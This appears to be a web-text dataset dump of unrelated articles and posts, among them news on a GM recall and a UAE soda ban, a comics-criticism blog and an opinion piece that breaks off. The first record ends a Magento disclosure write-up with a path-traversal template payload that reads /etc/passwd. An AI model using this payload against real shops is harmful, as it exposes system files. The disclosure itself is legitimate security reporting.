getCssFilesContent(array $files) { // Remove duplicate files $files = array_unique($files); $designParams = $this->getDesignParams(); if (!count($designParams)) { throw new \Magento\Framework\Exception\MailException( __('Design params must be set before calling this method') ); } $css = ''; try { foreach ($files as $file) { $asset = $this->_assetRepo->createAsset($file, $designParams); $pubDirectory = $this->getPubDirectory($asset->getContext()->getBaseDirType()); if ($pubDirectory->isExist($asset->getPath())) { $css .= $pubDirectory->readFile($asset->getPath()); } else { $css .= $asset->getContent(); } } } catch (ContentProcessorException $exception) { $css = $exception->getMessage(); } catch (\Magento\Framework\View\Asset\File\NotFoundException $exception) { $css = ''; } return $css; } Those 2 functions are not checking for path traversal characters anywhere, and are indeed vulnerable. Creating an email template with the {{css file="../../../../../../../../../../../../../../../etc/passwd"}} should be sufficient to trigger the vulnerability. Here is the responsible disclosure timeline for these 2 bugs : firstly, for the RCE one, and then for the file read one 2018.09.11 : initial disclosure for the path traversal / RCE 2018.09.17 : triaged by Bugcrowd staff 2018.10.08 : triaged by Magento staff 2018.11.28 : patch issued by Magento; release 2.2.7 and 2.1.16 released 2018.12.11 : a $5000 bounty was awarded	{ "pile_set_name": "OpenWebText2" }
In a rare public apology, General Motors acknowledged Tuesday that it may have reacted too slowly to a safety issue linked to 13 deaths. The delayed response could potentially cost GM tens of millions of dollars in civil penalties if the National Highway Traffic Safety Administration determines the automaker neglected to inform regulators. The NHTSA is also facing criticism for not demanding that GM act more quickly to recall more than 1.6 million vehicles. The recall is linked to the cars’ ignition switches, which GM says can be accidentally turned from the “run” position to the “accessory” position while the car is being driven. When this happens, the engine shuts off and safety systems — including power steering, anti-lock brakes, and airbags — are disabled. This has led to at least 31 crashes and at least 13 front-seat fatalities in the U.S., GM said. “We are deeply sorry and we are working to address this issue as quickly as we can,” GM’s North America President Alan Batey said in a statement. This public acknowledgment of an oversight is extremely rare for a international corporation like GM. “I haven’t seen GM apologize since they apologized to Ralph Nader in 1966,” said Clarence Ditlow, executive director of the Center for Auto Safety. “It’s a huge deal.” Tuesday’s announcement came as GM said it is recalling an additional 748,000 cars in the U.S., on top of 619,000 that were recalled on February 13. The remaining vehicles affected are in Mexico and Canada. The updated recall now includes 2003-2007 Saturn Ions, 2006-2007 Chevrolet HHRs, 2006-2007 Pontiac Soltices, and 2006-2007 Saturn Sky models. These models join the 2005-2007 Chevrolet Cobalt and Pontiac G5 models that were recalled earlier. A total of 1,367,146 cars in the U.S. are now included in the recall. According to documents submitted to NHTSA by GM, the automaker was aware of the defective ignition switches as early as 2004 and issued a service bulletin for its dealers in 2005. In the bulletin, dealers were encouraged to tell affected customers — particularly those drivers who were short or had a large or heavy keychains — to remove all unnecessary items from the keychain to prevent the ignition from inadvertently turning off. At the time, GM thought this was sufficient action, because the cars’ steering and braking systems remained operational even after the engine was accidentally shut off, according to the document. It wasn’t until 2007 that NHTSA brought a report of a fatal crash to GM’s attention. In that crash, a 16-year-old Maryland girl was killed after she lost control of her 2005 Chevrolet Cobalt and slammed into a tree. The girl was not wearing a seatbelt. NHTSA should have demanded a recall at that time, Ditlow said. “There really is no excuse for NHTSA not having told GM to do the recall in 2007. It’s just that simple.”	{ "pile_set_name": "OpenWebText2" }
The fans of Howard Stern have spoken, loud and clear. Shuli Egar is not fun nor funny and should be prevented from being heard (or seen) on the Howard Stern Radio Show immediately and for enternity, including any possible afterlife and/or reincarnation. Egar is responsible for many subscribers leaving SiriusXM permanently (as evident on the subreddit r/howardstern) and for cheapening the quality of The Howard Stern Radio Show. The madness ends now. Please join hands and support this movement, share with friends and family and make your voice heard.	{ "pile_set_name": "OpenWebText2" }
The UAE plans to introduce a ban on supersized fizzy drinks in a bid to reduce the country’s chronic obesity problem, the government says. Several measures designed to promote healthier living were agreed during a ‘brain-storming’ session attended by the UAE cabinet, according to the state news agency WAM. The measures include “limiting the size of fizzy drinks, imposing controls on [the] advertisement of unhealthy foods and showing calories of food items,” according to a statement. No further details were given as to when the ban on large sodas would be imposed or a likely maximum size for drinks containers. The UAE ranks as the fifth fattest nation in the world, according to a 2012 study published by a BMC Public Health journal. According to the International Diabetes Federation, more than 745,000 people have diabetes in the UAE. Infographic: UAE's soft-drink consumption Some UAE figures Caroline Kamil, a Dubai-based nutritionist, hailed the move and said the measure could raise awareness about the health implications of sugary drinks. “This is a great move by the government,” Kamil told Al Arabiya News. “Even the smaller cup sizes of these pop drinks contain eight spoons’ of sugar, surpassing an individual’s sugar requirements for one day or more,” she added. “We do not know the side effects of these natural sweeteners as well,” the nutritionist warned, adding that some people who suffer from obesity or diabetes still consume large quantities of these drinks. Others said that supersized fizzy drinks are not directly to blame for obesity. Antoine Tayyar, Director for Public Affairs and Communications at Coca-Cola Middle East, emphasized that a balanced diet and pursuing an active healthy lifestyle are key to wellbeing. “No one single food or beverage alone is responsible for people being overweight, obese or diabetic,” he said. “All calories count, whatever food or beverage they come from.” Tayyar also explained that “there is widespread consensus that weight-gain is primarily the result of an imbalance of energy – specifically too many calories consumed and not enough calories expended. There are no good or bad calories, only good and bad diets.” In 2009, Coca-Cola put a calorie count on the front of almost all the drinks it sells around the world. This took effect in the UAE and the Gulf region in 2011. “We strongly believe in the importance and power of ‘informed choice’, and continue to support fact-based nutrition labeling and education and initiatives that encourage people to live active, healthy lifestyles,” Tayyar said. A ban on supersized fizzy drinks in the UAE would follow a similar proposal made in New York City by the outgoing mayor Michael Bloomberg. Bloomberg, who will leave office in January, proposed a ban on the sale of sugary drinks larger than 16 ounces. The initiative has faced legal challenges, however, and the ban is yet to be enforced. The UAE ‘cabinet retreat’ examined thousands of proposals, including many related to health. “The health of our citizens cannot be measured by any cost and treatment anywhere is a vested right for them,” said Sheikh Mohammed bin Rashid Al Maktoum, the UAE’s Vice President and Prime Minister and Ruler of Dubai, in a statement. Other UAE health initiatives announced this week include an early cancer-detection program, a national database for medical records, and the implementation of common standards for healthy food in government and private schools. Last Update: Wednesday, 20 May 2020 KSA 09:42 - GMT 06:42	{ "pile_set_name": "OpenWebText2" }
india Updated: Nov 21, 2017 09:33 IST India has dropped plans to buy Spike anti-tank guided missile (ATGM) systems worth Rs 3,200 crore from Israel, defence ministry sources said on Monday. Instead, the Defence Research and Development Organisation (DRDO) has been asked to develop the ATGMs for the army’s infantry and mechanised infantry units to provide impetus to the Make in India plan, the sources said. India was negotiating the purchase of 321 launchers and 8,356 fire-and-forget missiles with Israeli firm Rafael Advanced Defence Systems Ltd. However, a report in Israeli newspaper Haaretz quoted a Rafael spokesperson as saying that the Israeli firm had not been officially informed of any change in the decision to buy Spike missiles. Rafael already “began the transfer of development and manufacturing knowledge as part of the Make-in-India program. This activity will continue as planned,” Rafael deputy spokesman Ishai David told Haaretz. With the defence ministry retracting the tender to buy the ATGM systems, the army’s wait to induct the weapon is likely to get longer, army sources said. The DRDO could take up to four years to develop the next-generation ATGMs. The Spike missile can destroy armoured vehicles and bunkers from a distance of 2.5 km and the army was planning to equip more than 400 units with the third-generation ATGM systems. The decision not to buy the missiles comes around 10 months after the defence ministry appointed a committee, headed by a major general, to examine various aspects related to the deal. India had chosen the Israeli ATGM over US defence and aerospace firm Raytheon’s Javelin system nearly four years ago. The army currently uses the older Milan and Konkur ATGMs built by public sector undertaking Bharat Dynamics Limited under license from French and Russian firms, respectively. Hoping that it world bag the order, Rafael had stitched up an alliance with India’s Kalyani Group to produce the missiles in Hyderabad.	{ "pile_set_name": "OpenWebText2" }
This is going to be one of those posts that some people hate where I link to things and comments on them and post on them. So sorry. It’s also meta as hell so it gets an official Hot Beverage Rating. A few months ago there was a Kerfuffle over a comics which some indie comics enthusiasts thought was artistically exciting, while others couldn’t see that for all the racism in these comics. I wrote about it at the time, and wondered if indie comics—so lively and lovely—were actually being given a larger social context. The most energizing thing about comics these days is you don’t have to be in any school. Each and every gem of a comic seems to exist in its own, infinite, contextless universe. This is also a product of the extreme hybridization of all forms as well. The “international style” of comics that is gaining ground in the actual mainstream (libraries and books) is one that draws equally from America, European and Manga influences, and the internet insists we mash everything up all at once all the time. Context seems to have less and less inherent value against this backdrop where immediate emotional resonance is the currency. Perhaps it’s this very quality that makes comics one of the most vibrant and relatable mediums of the day. This prompted the gang over at The Hooded Utilitarian to unite last month for an Indie Comics vs. Context Death Match roundtable. Now, like many people, I have a complicated relationship with The Hooded Utilitarian, a loose confederation of comics commentators; many of the contributors are clearly smart people and good writers, but perhaps because it is a loose confederation much of the writing is highly self-indulgent. As I wrote in the comments on one post, You guys remind me of a bunch of rich kids at a summer camp who decide one of the counselors is a killer and form a “Super Excellent Detective Club” and spend the summer livening things up by finding clues and snooping around. Except the counselor is the comics medium. The results of the Death Match were perhaps not what might have been expected: Johnny Ryan is subversive, Hipster Hitler uses historic tropes for humor, Matt Groening used to be funnier, and you can use Google Trends to embarrass anyone. The work of cartoonist Jennifer Cruté was favorably analyzed under the rather inhospitable title “Race and the Risks of ‘Kiddie Garbage’ Cartooning.” A fellow named Owen A wrote about New Small Press Comics In Context which had some interesting artistic analysis, but also concluded of Roman Muradov that The book has nothing at stake but its own circular insecurities. Its most beautiful moments are expressions of the sheer emptiness of its content, but, tragically, they are undermined by its alternation between simpering self-consciousness and self-satisfied intellectualism. which prompted Study Group founder Zack Soto to comment: Jesus this article is some lazy garbage. …which kind of sums up the “Indie Comics Establishment” view of THU in general. Now after all of this, I regrettably found myself adrift trying to grab hold of Where We Are and What It Means in this golden age of comics. While still trying to make sense of it all, along came the galvanizing Santoro-Collins dialog which seemed to echo the need for valuable criticism and more esthetic context like that once provided by The Comics Journal, Destroy All Comics or Comics Comics, in a world where even having a conversation is a chore (see below.) Santoro wrote: So the people that do it hardcore – like Rob Clough – do it out of love for the medium. Which is awesome. However the small subculture of engaged comics reviewers is getting older, myself included. I really hope that members of the younger generation will start writing about each other. I’m seeing some hints of it here and there, but not many organized voices. So much of comics culture is death-dealing to makers in their early twenties. The “pap pap” demographic of comics is so insular – which is fine – but out on the circuit younger makers are telling me that they never read this site, or any websites related to comics at all. There’s really not much for them in most comics sites that reflects their tastes or their concerns. Inherent in all of this is the chaotic explosion of comics all around us, at a higher level of artistic craft than we ever expected to see. Look through a pile of Ignatz nominees, or walk around a Comic Arts Brooklyn and there is a thrilling riot of color and style and format. But there’s also the deep down nagging insecurity that wonders “Is this really any good?” or is it just “beautiful moments [that] are expressions of the sheer emptiness of its content”? There is definitely a lot of cool noodling for the sake of cool noodling these days. The cool noodling is validated by the idea that Gary Panter and Fort Thunder did it so it must be okay. It reminds me a lot of the early days of newspaper strips…a riot of amazingly beautiful pages that are almost impossible to read. But do you need to read any of it? I’m okay with beautiful pictures for the sake of beautiful pictures in any era. But are we raising a generation of punk Alex Toths? The conversation got a little bit real with the matter of Michael DeForge, definitely one of the most lauded and admired cartoonists of the current generation. In the original THU conversation, DeForge got batted around a little because it turned out no one was really familiar with his work. In stepped bold and fearless Ng Suat Tong, with a piece called “Why Michael DeForge is the greatest cartoonist of his generation: The Critics Explain”. Ng is known as one of the most caustic comics critics out there — like Mikey, he hates just about everything, and in this case he quoted critic after critic calling DeForge’s work creepy while concluding that he didn’t find it that creepy. While many DeForge lovers leapt up in alarm over the review, in order to be the best at anything, you need to survive challenges. I thought Ng’s piece was a valuable look at DeForge’s work — even from a negative viewpoint, it enhanced the dialog and added to the framework. As if we even need a framework. Also inherent in all this is an anxiety among those of us schooled in The Canon that these darned kids with their tumblrs don’t even care about Binky Brown, let alone Ghost World. I enjoy DeForge’s work as a creepy surreal visit to an unfettered imagination, but it doesn’t satisfy me as much as a complex narrative like “The Death of Speedy” or Black Hole, or even keenly felt and resonant memoirs like Today is the Last Day of the Rest of Your Life or (hell, I’ll say it) Maus. That is my personal taste, but it’s also the general trend of history where more people read and enjoy Huckleberry Finn than The Sound and the Fury. Folks like a good yarn, that’s plain. Tumblr is the antithesis of a yarn, unless it’s twenty different colors tangled together into one giant ball of yarn. The other weak point in all of the current era’s excitement is that it’s mostly all praise. Most people (myself included) just go around “liking” and “sharing” things, the very activities that social media most encourage. Ng touched on this again, in a response to Santoro/Collins:Comics Criticism: Even comics critics don’t care about it Some questions should spring to mind immediately upon reading this. Why is it of special concern, for example, that younger makers of comics are not reading TCJ.com or any website related to comics at all? Are they representative of the alternative comics readership as a whole? Or are they simply the kind of people Santoro would prefer read TCJ.com and comics criticism? Comics has a long history of cartoonists not engaging with criticism and critics at all; they for obvious reasons preferring the company and conversation of their “own kind.” No doubt long time comic aficionados will begin pointing to the classic comic histories or the critical works of Seth, Chris Ware, Scott McCloud, Art Spiegelman et al. It should be pointed out, however, that the very idea of a negative critique is anathema to this school of criticism (unless it is directed at blind intransigent critics). It is adulation and evangelism which is required. Such is the rarity of this engagement that one might say that the arrival of a celebrated cartoonist into the unhallowed halls of comics criticism is, more often than not, greeted with a joyousness befitting the arrival of the Queen of Sheba (the royal metaphor here being no accident of choice). This led Caroline Small to call for more actual cartoonists to practice criticism: Having spent a great deal of time lately thinking about critical theory and art practice in the company of some marvelous, critically minded practitioners (and not thinking at all about comics), I second Suat’s suggestion that at least one reason comics criticism is in this condition is because so few cartoonists practice criticism. And by “practice”, I mean read and write not journalism, not the “theory of craft” (as Frank Santoro does so brilliantly and charmingly), but classical “criticism” – argumentative/philosophical/descriptive essays, about art in general, both inside and outside their area of specialization. In fields where there is a strong critical culture, there is typically also a significant population of working artists who consider critical conversations about art, with other artists and critics, in their own and other fields, to be an essential part of their creative practice. Something they do for themselves, because it makes their art richer and better. BTW, if you are a total masochist or are stuck in an airport with a wifi connections, there are tons of comments on just about every post I just linked to. The Hooded Utilitarian has its own boosterish clique of commenters that tends to drown out useful dialog, but most of the usual suspects are heard from everywhere. So here we are, in a golden age of comics without any Brahmins to tell us who we should invite to dinner and who we need to shun. And yet, despite the dispiriting lack of context AND useful criticism, people do slip through. Earlier this year Sam Alden got elevated to “Comics It Boy” just because people kept reading his stuff and liking it. (I believe my own piece was one of the first longer examinations of his work, she said patting herself on the back.) Simon Hanselmann is another example of someone who has built up a following via a long, complex narrative that resonates on many levels using simple cartooning tools that go back to Maggie and Jiggs. (The Beat’s own Jessica Lee has been a huge supporter of his work, she said handing out another back pat.) I’ve yet to really jump into his work but its promise is immediately evident. In the liking and sharing world, having many people like and share your work is the ultimate praise. This democratic process leaves many would-be arbiters of taste on the sidelines, though. And a little bit of dialog would be welcome to sniff out the next Alden or Hanselmann before everyone else figures it out. And that brings us up to the present day. End of the year best of lists are peeping through the pixels, and yet again it’s that darned Michael DeForge kicking things off with “an off the top of my head “best of 2013” I’m sure I’m forgetting things and I haven’t read Infomaniacs yet. In no particular order Julio’s Day by Gilbert Hernandez Beta Testing the Apocalypse by Tom Kaczynski Eye of the Majestic Creature vol 2 by Leslie Stein The Library by Chihoi New Jobs by Dash Shaw Paranoid Apartment by Lala Albert Real Rap by Ben Urkowitz Sakura Maku’s comic in Chromazoid #2 Mighty Star by Alex Degen Household, Man that Dances in the Meadow by Sam Alden misc Simon Hanselmann (hard to pick one thing) World Map Room by Yuichi Yokoyama The Teacup Tree by Angie Wang New Comics #1, 2, by Patrick Kyle + I guess Attack on Titan before it drops off a bit edit: forgot Hand Drying in America by Ben Katchor There’s a pretty strong esthetic in that list, although it would take me a long time to parse it. And then, poor Michael DeForge tweeted about THU’s Noah Berlatsky’s takedown of Art Spiegelman yesterday. It was called In the Shadow of Mediocre Page Design, which, come on, really? If there’s one thing Spiegelman is ace at it’s composition and storyetelling. And that kicked off the mess you can read below, in which all of us “comics pundits” waded in, trying to have a serious conversation about all the simmering issues in bursts of 15 words or less. I mostly did this to learn how to use Twitter’s new custom timelines, and the first thing I learned is that you STILL can’t put the most recent stuff at the top (that’s what $1.8 billion buys you these days.) So if you want to follow it, read UP. But I don’t think you want to follow it. Along the way I floated my outrageous notion that tumblrs like SPX and Comics ARE The Comics Journal of the day, an idea that heightened the alarm for Sean T. Collins, and Jeet Heer; the latter argued nobly for a tumblr that might be the RAW or Kramer’s Ergot of its day—or just the MOME or Weirdo—and for the concision, strong esthetic and high quality that firm, wise editorial control can bring. (Berlatsky +1’d this idea.) I also invited everyone in the thread over here to the comments—I’ll even throw in tea and a cheese plate—to hash everything out but Sarah Horrocks will only comment on FB, Tom Spurgeon dislikes all comment threads, and people would rather flail publicly in a disposable 140-character format than take the time to write longer thoughts that they’ll be publicly mocked for. (This is not a trait that the THU folks share.) In other words, the reason there is no critical dialog about critical dialogs is that it is impossible to have a critical dialog at all! comics and the critics In conclusion, there is no way to conclude this. I will throw out my own sure to be derided ideas for what I would like to see in terms of putting today’s comics offerings in a more critical and social context. These are all ideas that have crossed my mind as topics I would like to investigate at one time or another but because comics criticism pays even less than comics blogging (the main reason for all of this, I suppose) I doubt I’ll ever get to any of them. Consider these a giveaway table: § What’s the dillio with this Tumblr thing I’ve been hearing about? • There is a large body of comics work, mostly by females, that is set in “an enchanted forest” (Julia Gfrörer, Anna Bongiavanni, Lilli Carré) COMPARE AND CONTRAST • There is a large body of comics work, mostly by males, that deals with the sea and exploration (Nick Bertozzi, Kevin Cannon, Drew Weing, Cristolphe Blain) WHO WORE IT BEST? • There is a pretty strong connection between a group of west coast Asian-American cartoonists including Derek Kirk Kim, Gene Luen Yang, Thien Pham, Jason Shiga and Lark Pien. What common themes do they share? • The much-criticized vein of self-indulgent autobiographical comics inspired by Canadian cartoonists of the 90s has mostly faded away into a far more diverse mix of narrative and more focused non-fiction stories. Why? Are current cartoonists actually less self indulgent than we think? • The Fort Thunder school of comics has a recurring focus on monsters and body horror; is this just because monsters are fun to draw or is there a deeper meaning? • Adventure Time has served as both an inspiration and a means of financial support for a lot of the best indie cartooners. How does working for a hit TV show affect their more personal work? • Many young cartoonists such as Emily Carroll and Blaise Larmee are using “animated comics” in new and pioneering ways. Will they really save us from motion comics? • There are lots of cartooning schools now—CCS, SVA, MCAD, SCAD, etc etc. How do these schools differ in what their students produce? Is there a shared esthetic among people who graduate from each of them? (Actually, Rob Clough is doing this. Rob Clough tends to do a lot of things I want to see.) • Many young indie cartoonists have both blogs and tumblrs. How do they use each medium? Does the presentation affect their work? • Does anyone ever expect to make a living at this without working on Adventure Time? How? …I’m sure there are many many more interesting questions than these to be raised. I invite you to share your own. I fear this post is far more messy and badly thought out than the very worst post I’ve linked to above, but it’s 5 am and I have to figure out how to get 400 miles through a storm named after the god of the North Wind so I can eat turkey and meet kittens. It was now or never. I still think the kids are alright, I’d like to see way more context for current comics, more informed criticism, more time to write it, and more money to make it worth while. I suspect we’ll see all those things eventually but in new and delightfully surprising ways that we’ll never even see coming.	{ "pile_set_name": "OpenWebText2" }
X-Men: Days of Future Past Exodus: Gods and Kings Victor Frankenstein Official Guardians of the Galaxy Summary From Marvel, the studio that brought you the global blockbuster franchises of Iron Man, Thor, Captain America and The Avengers, comes a new team--the Guardians of the Galaxy. An action-packed, epic space adventure, Marvel's "Guardians of the Galaxy" expands the Marvel Cinematic Universe into the cosmos, where brash adventurer Peter Quill finds himself the object of an unrelenting bounty hunt after stealing a mysterious orb coveted by Ronan, a powerful villain with ambitions that threaten the entire universe. To evade the ever-persistent Ronan, Quill is forced into an uneasy truce with a quartet of disparate misfits--Rocket, a gun-toting raccoon; Groot, a tree-like humanoid; the deadly and enigmatic Gamora; and the revenge-driven Drax the Destroyer. But when Quill discovers the true power of the orb and the menace it poses to the cosmos, he must do his best to rally his ragtag rivals for a last, desperate stand--with the galaxy's fate in the balance. © Copyright 2014 Marvel Studios, Walt Disney Studios Motion Pictures. All rights reserved	{ "pile_set_name": "OpenWebText2" }
Advertisements With build 2014 right around the corner, and WP 8.1 launch on the way we’ve begun hearing whispers of what to expect besides the new OS upgrade. We’ve heard from a trusted source that Nokia will be on stage alongside Microsoft to announce two new WP 8.1 devices. the two devices cover both the low end and high end of the spectrum, starting with the much rumored and leaked Lumia 630 or “Moneypenny”, which comes in both single sim and dual sim flavors along with on screen keys, but sans a flash button. The second rumored device is the Lumia 930 or “Martini”, which has yet to leak fully; but we understand that it might be a Lumia icon re-purposed for global distribution (in a different body); but our source didn’t go into details. Both devices are expected to launch at Microsoft’s build conference this April, however we’ve also heard that Nokia’s other high end flagship device code-named “goldfinger” has been pushed back in terms of time frame, and will not be announced at build. Although this is all a rumor, we believe in the reliability of our source and are optimistic about the accuracy of said news; of course you might want to keep a pinch of salt ready either way. Advertisements Related Category: Lumia, Nokia, Windows Phone	{ "pile_set_name": "OpenWebText2" }
"...from the point of view of technology, a code generated within a digital computer is now self-replicating as the genome of a line of living cells. From the point of view of biology, a code generated by a living organism has been translated into a digital representation for replication, editing, and transmission to other cells." George Dyson in response to Craig Venter's announcement of "synthetic" life. Now that we have a self-replicating biological platform (yeast -- likely one of many different platforms that will be floated over the next couple of years) that can accommodate a completely synthetic genome, the race in on: towards an abundance in nearly every material or process that can be enabled via biological means. For resilient communities, this will likely lead to the ability to replicate on the micro scale, many of the difficult to produce materials currently available only through a global industrial system. All that needs to be shared is the information necessary to do it. P2P pharmaceuticals and fuels? Of course, this also means that the global system is about to become even more prone to massive instability than it is today (and it's pretty bad already). Threats will emerge out of nowhere as errors, failures, and misuse of this technology occur (inevitably). These threats, in turn, will be quickly amplified by the network dynamics of our tightly interconnected global system, which converts relatively small events into global scale catastrophes. There is a bright side to this: This technology makes resilient communities both more necessary and more viable at the same time. The localization of production and the virtualization of everything else precludes the chance that damage from this technology will spread to a global scale via network amplification. It contains any potential damage to a small area. On the other hand, the virtualization of production and portability of discovery/productivity enabled by this technology will make it possible for very small communities to replicate the industrial power of a nation-state. Very nice.	{ "pile_set_name": "OpenWebText2" }
One of Rep. Rashida Tlaib’s key fundraisers, Maher Abdel-qader, has repeatedly promoted anti-Semitic conspiracy theories. The Michigan Democrat is a member of a Facebook group where Abdel-qader and other members have shared anti-Semitic content. One video Abdel-qader shared with the group accused Jews of secretly controlling the media and exaggerating the Holocaust. Tlaib has already come under scrutiny for having ties to other anti-Israel figures and for questioning the loyalty of pro-Israel lawmakers. Democratic Michigan Rep. Rashida Tlaib’s ties to anti-Semitism run deeper than previously known, a Daily Caller News Foundation investigation found. Tlaib, part of a heralded freshman class of House Democrats, has already come under scrutiny over her positions on Israel and ties to fringe figures. But TheDCNF’s investigation uncovered additional ties to anti-Semitism. Tlaib is a member of the Facebook group “Palestinian American Congress,” where members often demonize Jews. The group’s founder, Palestinian activist Maher Abdel-qader, was a key fundraiser for Tlaib and organized campaign events for her around the country. In January 2018, Abdel-qader shared an anti-Semitic video that claimed Jews aren’t actually Jewish, and invented their historical claim to Israel and secretly control the media. The video, which described Jews as “satanic,” also questioned whether 6 million Jews actually died in the Holocaust. “Research the truth about the Holocaust, and you’ll definitely start to question what you thought you knew,” the video’s narrator says. Abdel-qader shared the video both on his personal Facebook page and within the group that now includes Tlaib. The anti-Semitic video Abdel-qader shared multiple times doesn’t appear to have been a one-off occasion. In several other posts to the group, Abdel-qader insisted that Jews aren’t actually from Israel. In one October 2017 post, he accused Israeli settlers of training children “to terrorize Palestinian civilians.” Other members of the group have added posts accusing Jews of controlling the media and perpetuating other anti-Semitic stereotypes. Tlaib has been a member of the Facebook group since February 2018 when Abdel-qader added her, according to Facebook. The group has a little over 11,000 members. In March 2018, Tlaib presented Abdel-qader with a medal showing her appreciation for his help with the campaign, according to Voices of New York, a project of the City University of New York (CUNY). She posted multiple pictures of herself with Abdel-qader on Facebook during the campaign and emphasized how important his support was to her. Abdel-qader took credit on Facebook for organizing fundraisers for Tlaib among Arab-Americans, pulling in hundreds of thousands of dollars for her campaign. Photos he’s posted on social media show him speaking at Tlaib campaign events. Abdel-qader said he has “great respect for the religion and the Jewish people” in an email to TheDCNF early Tuesday morning after this article was published. Abdel-qader added that there is “no such thing as ‘fake Jews.'” and denied that he ever advocated as much, despite his Facebook posts to that effect. “What I said, Many Jews living now in the Middle East are the descendants of the great Jewish Khazar empire in Europe,” he wrote, adding: “I stand against Israeli and Zionist brutal occupation and in-humane treatment of Palestinians. I am for justice for all in the Middle East.” He declined to answer a question regarding anti-Semitic conspiracy theories about Jews secretly controlling the media. Tlaib’s chief of staff, Ryan Anderson, did not return a request for comment. Abdel-qader wasn’t the only anti-Israel activist with ties to Tlaib during her campaign. Women’s March co-chair Linda Sarsour was an early Tlaib supporter and also attended her swearing-in ceremony in Washington, D.C., earlier this month. Sarsour and other Women’s March leaders have come under scrutiny for their support of Nation of Islam leader Louis Farrakhan, a notorious anti-Semite who has praised Hitler and described Jews as “satanic.” (RELATED: Maxine Waters Attended Nation of Islam Convention Where Farrakhan Defended Suicide Bombers) Palestinian-American professor Amer Zahr, a supporter of the anti-Israel Boycott, Divestment and Sanctions (BDS) movement, appeared at campaign events and also attended Tlaib’s swearing-in ceremony. Zahr posted a Facebook video he recorded from Tlaib’s office to show that he had re-labeled Israel as “Palestine” on a map hanging in the office. An article recounting the label change received positive reactions when shared within the “Palestinian American Congress” group that Tlaib belongs to on Facebook. One group member commented: “They will be wiped off the map soon inshallah [God willing].” Tlaib previously came under fire after posing for a picture with Palestinian activist Abbas Hamideh, a supporter of Hezbollah who believes Israel shouldn’t exist, at her swearing-in ceremony. The left-leaning Anti-Defamation League demanded an explanation from Tlaib, who told the Detroit Free Press on Friday that she didn’t know who Hamideh is. Nine months before the controversy, in April 2018, Tlaib posted a picture of herself and Hamideh on Facebook. Tlaib also questioned in a tweet whether Republicans who support anti-BDS legislation “forgot what country they represent.” Tlaib supports the BDS movement, which has often overlapped with anti-Semitic causes. Florida Sen. Marco Rubio and other Republicans accused Tlaib of questioning Jewish-Americans’ loyalty to their country, though Tlaib insisted there was no anti-Semitic intent to the tweet. This article has been updated to include Abdel-qader’s response Follow Hasson on Twitter @PeterJHasson Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.	{ "pile_set_name": "OpenWebText2" }
Source: CC0 Vonsky87 via Wikimedia Commons Disappointment with a choice is a common experience. You go to the bookstore and browse only to be let down by the novel you selected. The dish you selected from the menu of a new restaurant is good, but not as good as you hoped. Is there a reason why you might be systematically disappointed with the choices you make? You might think that somehow you are biased in the choices you make in a way that creates this disappointment. An interesting paper by Jordan Tong, Daniel Feiler, and Anastasia Ivantsova in the February 2018 issue of Psychological Science suggests that this disappointment may arise even without systematic . The idea is fairly simple. Suppose people make perfect choices. That is, at any given moment, when faced with a set of options, they are able to pick the one that they think is best. Now, assume that people are not perfect at assessing how good something is. They have a rough idea, but sometimes they estimate that something is a little better than it is, and sometimes they estimate that something is a little worse than it is. Assume that this error is not biased either so that on average people are correct in their judgments. That means that on any given choice occasion, someone might evaluate some of the options as being slightly better than they really are and other options as slightly worse than they really are. Because they always choose the option they think is best, they are more likely to pick an option that has been mistakenly judged as better than it really is than to pick an option that is judged as worse than it really is. So, there is more chance that after experiencing the option for real they will be disappointed by it than that they will be pleasantly surprised by it. The researchers point out that this should happen most often when the items being evaluated are already fairly close in value so that the error in estimates of preference has a bigger effect than the actual differences in the goodness of the options. As one test of this possibility, participants were shown pictures and descriptions of actual houses that had recently sold nearby. In one condition, participants judged the value of houses without making a choice about them. They were given feedback about their judgments to help them get a sense of the actual prices in the area. On average, their judgments were pretty accurate and not significantly different from the true values. In another condition, participants first saw a set of six houses and selected the one they thought was most expensive. Then, they estimated the price of the house they chose. Once again, they got feedback after each estimate. In this case, though, participants consistently overestimated the price. Analyses of the choices sets showed that the overestimates of the price were largest when the set of houses being judged were most similar in value. This finding is consistent with the idea that big errors in judgments have the strongest impact when the items in the choice set are close together in value. Another study demonstrated that the same effect occurs when people judge the value of items first and then choose. So, there isn’t something special about making a choice that leads people to overestimate the value of an object. So, how can you help to counteract this source of choice disappointment? One possibility is to bring along someone else when making important choices. Have them also give you their judgments about the goodness of the options. Chances are, any errors the two of you make will often be in different directions, so the other person’s judgments can provide a check on your own preferences. Another possibility is to give yourself several different chances to evaluate the options before starting to commit to a decision. That can be hard, but if you can judge the set of options a second time, you may notice different factors that may help to counteract any errors you made the first time. Finally, when you do experience disappointment in a choice, it is useful to remember that this is nearly an inevitable outcome of making decisions because there will always be some uncertainty about how to evaluate things. Don’t beat yourself up for making a decision that turns out less well than you had hoped.	{ "pile_set_name": "OpenWebText2" }
Months after President Obama frankly admitted that the United States had “tortured some folks” as part of the War on Terror, a new report submitted to the United Nations Committee Against Torture has been released that excoriates his administration for shielding the officials responsible from prosecution. The report describes the post-9/11 torture program as “breathtaking in scope”, and indicts both the Bush and Obama administrations for complicity in it – the former through design and implementation, and the latter through its ongoing attempts to obstruct justice. Noting that the program caused grievous harm to countless individuals and in many cases went as far as murder, the report calls for the United States to “promptly and impartially prosecute senior military and civilian officials responsible for authorizing, acquiescing, or consenting in any way to acts of torture.” In specifically naming former President George W. Bush, Department of Justice lawyer John Yoo and former CIA contractor James Mitchell, among many others, as individuals who sanctioned torture at the highest levels, the report highlights a gaping hole in President Obama’s promise to reassert America’s moral standing during his administration. Not only have the cited individuals not been charged with any crime for their role in the torture program, Obama has repeatedly reiterated his mantra of “looking forward, not backwards” to protect them from accountability. Needless to say, you shouldn’t try that defense in court if you’re an ordinary American on trial for, say, a drug crime. It’s also worth remembering that, horrific as it was, the torture regime described in the report was only a tiny part of the wide-ranging human rights abuses the United States committed after 9/11. It doesn’t even account for the network of prisons where hundreds of thousands of people were detained in Iraq and Afghanistan – many of whom suffered beatings, rape and murder at the hands of U.S. soldiers. The environment that allowed such treatment was again authorized at the highest levels, but just as with the CIA program the only people to receive any legal sanction for these actions have been low-level soldiers who’ve essentially been used as scapegoats for the crimes of their superiors. By refusing to prosecute Bush-era officials for their culpability in major human rights abuses such as the CIA program and Abu Ghraib, President Obama is not just failing to enforce justice but is essentially guaranteeing that such abuses will happen again in the future. His administration has demonstrated that even if government officials perpetrate the most heinous crimes imaginable, they will still 